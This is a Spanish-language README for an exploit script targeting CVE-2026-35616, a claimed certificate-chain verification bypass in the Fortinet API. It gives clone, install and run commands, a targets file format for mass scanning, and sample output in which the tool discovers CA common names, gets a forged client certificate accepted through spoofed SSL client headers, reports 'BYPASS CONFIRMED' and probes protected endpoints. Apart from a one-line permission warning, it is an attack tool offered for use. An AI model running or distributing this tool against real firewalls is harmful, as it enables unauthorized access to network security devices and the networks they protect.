
Exploit script para CVE-2026-35616 que omite la verificación de la cadena de certificados en la API de Fortinet al descubrir CN válidos, generar un certificado de cliente forjado y sondear endpoints protegidos con cabeceras personalizadas.
Explotación de la vulnerabilidad de omisión de verificación de la cadena de certificados en la API de Fortinet.
El script detecta automáticamente los Common Name (CN) válidos de diversas fuentes,
genera un certificado de cliente falso y realiza solicitudes a endpoints protegidos
utilizando los encabezados X-SSL-CLIENT-VERIFY y X-SSL-CLIENT-CERT.
!!!Importante: Utilícelo únicamente en sistemas sobre los que tenga permiso explícito para realizar pruebas.
requestscryptographyurllib3openssl# Clonación del proyecto
git clone https://github.com/wa6n3r/CVE-2026-35616
cd CVE-2026-35616
# Instalación de dependencias
pip install -r requirements.txt
## Uso
# Ejecución básica
python3 exploit.py
# Especificando objetivo y puerto
python3 exploit.py <TARGET_IP> [PORT]
# Ejemplos:
python3 exploit.py 192.168.1.100
python3 exploit.py 10.0.0.50 8443
# Formato del archivo de objetivos (targets.txt)
Para pruebas masivas, cree un archivo targets.txt con una dirección objetivo por línea:
192.168.1.100:443
10.0.0.50:8443
fortigate.internal
# Archivos de salida
En caso de ejecución exitosa, el script crea:
results/bypass_results_<TARGET>_<PORT>_<TIMESTAMP>.json — informe detallado en formato JSON con:
El CN utilizado
Los estados de respuesta de cada endpoint
Los prefijos de respuesta para análisis
# Estructura de salida
[ wa6n3r ] ◆ GH: github.com/wa6n3r ◆ WEB: wa6n3r.com
[*] CVE-2026-35616 Target: https://192.168.1.100:443
[*] Discovering CA CNs from multiple sources...
[•] TLS CA CN: 'fortinet-ca2'
[•] ZTNA CA CN: 'support'
[*] Found 2 candidate CN(s): fortinet-ca2, support
[*] Testing 2 candidate CN(s) for bypass...
[+] CN='support' | HTTP 200 | retval=1 | BYPASS CONFIRMED
[*] Probing all cert_chain endpoints with CN='support'...
GET /api/v1/system/capabilities
HTTP 200: '{"result": {"retval": 1, ...}}'
[+] Results saved to: results/bypass_results_192.168.1.100_443_20260101_120000.json